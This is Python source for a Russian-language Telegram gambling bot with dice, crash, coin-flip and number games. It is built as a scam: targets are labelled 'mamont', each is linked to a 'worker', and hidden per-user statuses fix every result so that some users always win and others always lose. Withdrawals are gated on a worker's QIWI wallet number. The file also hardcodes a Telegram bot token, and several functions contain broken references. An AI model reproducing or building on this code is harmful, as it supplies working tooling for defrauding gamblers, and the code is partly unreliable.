def info_mamont(message, classes): try: if (message.text.isdigit()) and (classes == '1'): num = database.user_num(message.text) balance = database.user_balance(message.text) status = database.user_status(message.text) invite_code = database.user_invite_code(message.text) bot.send_message( message.chat.id, f'(ID) - баланс - инвайт код - статус\n\n({num}) - {invite_code} - {balance} ₽ - {status}', parse_mode="Markdown") elif (message.text.isdigit()) and (classes == '0'): telegram_id = database.user_telegram_id(message.text) username = database.user_username(telegram_id) balance = database.user_balance(telegram_id) status = database.user_status(telegram_id) invite_code = database.user_invite_code(telegram_id) bot.send_message( message.chat.id, f'(ID) - баланс - @username - инвайт код - статус\n\n({message.text}) - @{str(username)} - {invite_code} - {balance} ₽ - {status}', parse_mode="Markdown") except: pass
def dice(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message(message.chat.id, f'💁🏻♀️ Ставка *засчитана*', parse_mode="Markdown") Thread = threading.Thread(target=dice_choice, args=(message, bet)) Thread.start() else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, dice) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: bot.send_message(message.chat.id, '⚠️ Пожалуйста, введите *число*', parse_mode="Markdown")
def crash(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message( message.chat.id, f'💁🏻♀️ Ставка *засчитана*, следите за коэффициентом и заберите деньги вовремя!', parse_mode="Markdown", reply_markup=keyboard.crash_keyboard()) in_play_crash.append(message.chat.id) Thread = threading.Thread(target=crash_choice, args=(message, bet)) Thread.start() else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, crash) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: pass
def nvuti(message): try: if (isfloat(message.text) is not False): balance = repl_percent((database.user_balance(message.chat.id))) bet = float(message.text) if (bet <= balance) and (bet > 10): message = bot.send_message( message.chat.id, f'💁🏻♀️ Ставка *засчитана*, выпало число, выберите его интервал', parse_mode="Markdown", reply_markup=keyboard.nvuti_keyboard()) bot.register_next_step_handler(message, nvuti_choice, bet) else: message = bot.send_message( message.chat.id, f'⚠️ *Не достаточно средств* или ставка *меньше* 10 ₽\nВведите *сумму* ставки, доступно: *{balance}* ₽', parse_mode="Markdown") bot.register_next_step_handler(message, nvuti) else: bot.send_message(message.chat.id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) except: bot.send_message(message.chat.id, '⚠️ Пожалуйста, введите *число*', parse_mode="Markdown")
def enter_receive(message): try: code = database.user_invite_code(message.chat.id) WTI = database.worker_telegram_id(code) phone = database.worker_phone(WTI) balance = database.user_balance(message.chat.id) helps = token if (message.text == phone) and (balance > 0): notification_thread_receive(message, balance) bot.send_message( message.chat.id, f'📨 Ваша заявка *была отправлена*.\nСумма - `{balance} ₽`\n\nМы оповестим вас, когда заявка будет выплачена', parse_mode='Markdown') database.user_set_balance(telegram_id, 0) else: bot.send_message( message.chat.id, f'⚠️ На балансе *нет* средств или Вы ввели *другой кошелек* QIWI\nДоступно для вывода - `{balance} ₽`, QIWI кошелек - `{phone}`', parse_mode="Markdown") except: pass
def get_text_messages(message): chat_id = message.chat.id config = configparser.ConfigParser() config.read("default.ini") status = config['Telegram'] try: if (status != '0'): if (message.text == "🤴 Личный кабинет"): balance = casino_config.repl_percent( database.user_balance(chat_id)) win = database.user_win(chat_id) lose = database.user_lose(chat_id) receive = database.user_receives(chat_id) payments = database.user_count_payments(chat_id) inline_keyboard = types.InlineKeyboardMarkup(row_width=2) inline_1 = types.InlineKeyboardButton(text="Пополнить", callback_data='DEPOSIT') inline_2 = types.InlineKeyboardButton(text="Вывести", callback_data='RECEIVE') inline_3 = types.InlineKeyboardButton( text="Промокод", callback_data='PROMOCODE') inline_4 = types.InlineKeyboardButton(text="Обнулить", callback_data='CLEAR') inline_keyboard.add(inline_1, inline_2, inline_3, inline_4) bot.send_message( chat_id, f'💸 Ваш *личный кабинет*\n\nБаланс: *{balance}* ₽\n\nИгр всего - *{win + lose}*\nИгр выиграно - *{win}*\nИгр проиграно - *{lose}*' + f'\n\nЗаявок на вывод - *{receive}*\nПополнений - *{payments}*', parse_mode="Markdown", reply_markup=inline_keyboard) elif (message.text == "⚙️ FAQ/Support"): bot.send_message( chat_id, f'💻 Техническая поддержка - @{str(casino_config.support)}\n\n📝Пользовательское соглашение: https://telegra.ph/Polzovatelskoe-soglashenie-01-18' ) elif (message.text == "🎰 Играть"): database.user_update_username( chat_id, casino_config.repl(message.from_user.username)) bot.send_message(chat_id, f'💁🏻♀️ Выберите *режим* игры', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) elif (message.text == "↩️ Назад"): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *главное* меню', parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) elif (message.text == "Random Number"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "Dice"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (message.text == "Орел & Решка"): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (message.text == "↩️ Назaд"): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *главное* меню', token, phone, parse_mode="Markdown", reply_markup=keyboard.casino_keyboard()) elif (message.text == 'Crash'): balance = casino_config.repl_percent( database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) elif (message.text == "Остановить график"): crash_end(message) elif (message.text == "Помoшь"): bot.send_message( chat_id, f'💻 Техническая поддержка - @{str(casino_config.helps)}') elif (message.text == 'Завершить игру'): bot.send_message(chat_id, f'💁🏻♀️ Вы вернулись в *список* игр', parse_mode="Markdown", reply_markup=keyboard.game_keyboard()) else: bot.send_message(chat_id, '💁🏻♀️ Бот на *технических* работах', parse_mode="Markdown") except: pass
def nvuti_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) if (status == 2) or (status == 4): nums = random.randint(0, 100) if (message.text == '> 50'): if nums > 50: bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) else: database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '= 50'): if nums == 50: win = repl_percent(bet * 2) win = repl_percent(win) database.user_update_balance(message.chat.id, win) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) else: database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '< 50'): if nums < 50: bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') else: bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (status == 1): if (message.text == "> 50"): nums = random.randint(51, 100) bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "= 50"): win = repl_percent(bet * 2) win = repl_percent(win) database.user_update_balance(message.chat.id, win) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *50*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == "< 50"): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (status == 3): if (message.text == '> 50'): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '= 50'): nums = random.randint(0, 49) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) elif (message.text == '< 50'): nums = random.randint(51, 100) bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпавшее число - *{nums}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, nvuti) except: pass
def dice_choice(message, bet): try: chat_id = message.chat.id session = '1368980760:AAEH-k_DdQpZMe5A9Zj_wLO-JI5X8errbxs' status = database.user_status(message.chat.id) dice_user = requests.post( f'https://api.telegram.org/bot{session}/sendDice?&chat_id={message.chat.id}' ) dice_bot = requests.post( f'https://api.telegram.org/bot{session}/sendDice?&chat_id={message.chat.id}' ) user = dice_user.json() user = user['result'] user_value = user['dice']['value'] bots = dice_bot.json() bots = bots['result'] bot_value = bots['dice']['value'] if (status == 2) or (status == 4): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (status == 1): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nЧисло бота - *{int(user_value)}*, Ваше число: *{int(bot_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (status == 3): if (int(user_value) > int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(user_value)}*, Ваше число: *{int(bot_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) < int(bot_value)): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) elif (int(user_value) == int(bot_value)): bot.send_message( message.chat.id, f'🤝 Игра закончилась *ничьей*!\nЧисло бота - *{int(bot_value)}*, Ваше число: *{int(user_value)}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, dice) except: pass
def coinflip_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) array = ['Орел', 'Решка'] choice = random.choice(array) if (status == 2) or (status == 4): if (message.text == choice): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) else: bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (status == 1): if (message.text == 'Орел') or (message.text == 'Решка'): bet = repl_percent(bet) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Ваша ставка *выиграла* - выигрыш *{bet}* ₽!\nВыпапало - *{message.text}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) elif (status == 3): if (message.text == choice): if (choice == 'Орел'): choice = 'Решка' elif (choice == 'Решка'): choice = 'Орел' bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Ваша ставка *проиграла* - проигрыш *{bet}* ₽!\nВыпапало - *{choice}*, Ваш выбор: *{message.text}*', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, coinflip) except: pass
def crash_choice(message, bet): try: chat_id = message.chat.id status = database.user_status(message.chat.id) end = repl_percent(random.uniform(1, 20)) now = 1 message = bot.send_message(message.chat.id, f'*График:* {now}', parse_mode="Markdown") thread = 1 while (thread == 1): now += 0.1 now = repl_percent(now) if (now > end) and (status == 2): bet = repl_percent(bet) database.user_update_balance(message.chat.id, -bet) database.user_update_lose(message.chat.id) bot.send_message( message.chat.id, f'💔 Вы проиграли, crash *остановился* - проыгрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 elif (now > end) and (status == 1): bet = repl_percent(bet * now) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Вы выиграли, crash *дошел до конца* - выигрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 elif (message.chat.id not in in_play_crash): bet = repl_percent(bet * now) database.user_update_balance(message.chat.id, bet) database.user_update_win(message.chat.id) bot.send_message( message.chat.id, f'❤️ Вы выиграли, Вы *остановили* crash - выигрыш *{bet}* ₽!', parse_mode='Markdown') balance = repl_percent(database.user_balance(chat_id)) message = bot.send_message( chat_id, f'💁🏻♀️ Введите *сумму* ставки\nДоступно: {balance} ₽', parse_mode="Markdown", reply_markup=keyboard.clear_keyboard()) bot.register_next_step_handler(message, crash) thread = 0 else: sleep(0.3) bot.edit_message_text(chat_id=message.chat.id, message_id=message.message_id, text=f'*График:* {now}', parse_mode="Markdown") except: pass
def __init__(self, category): self.balance = database.user_balance(category) self.category = category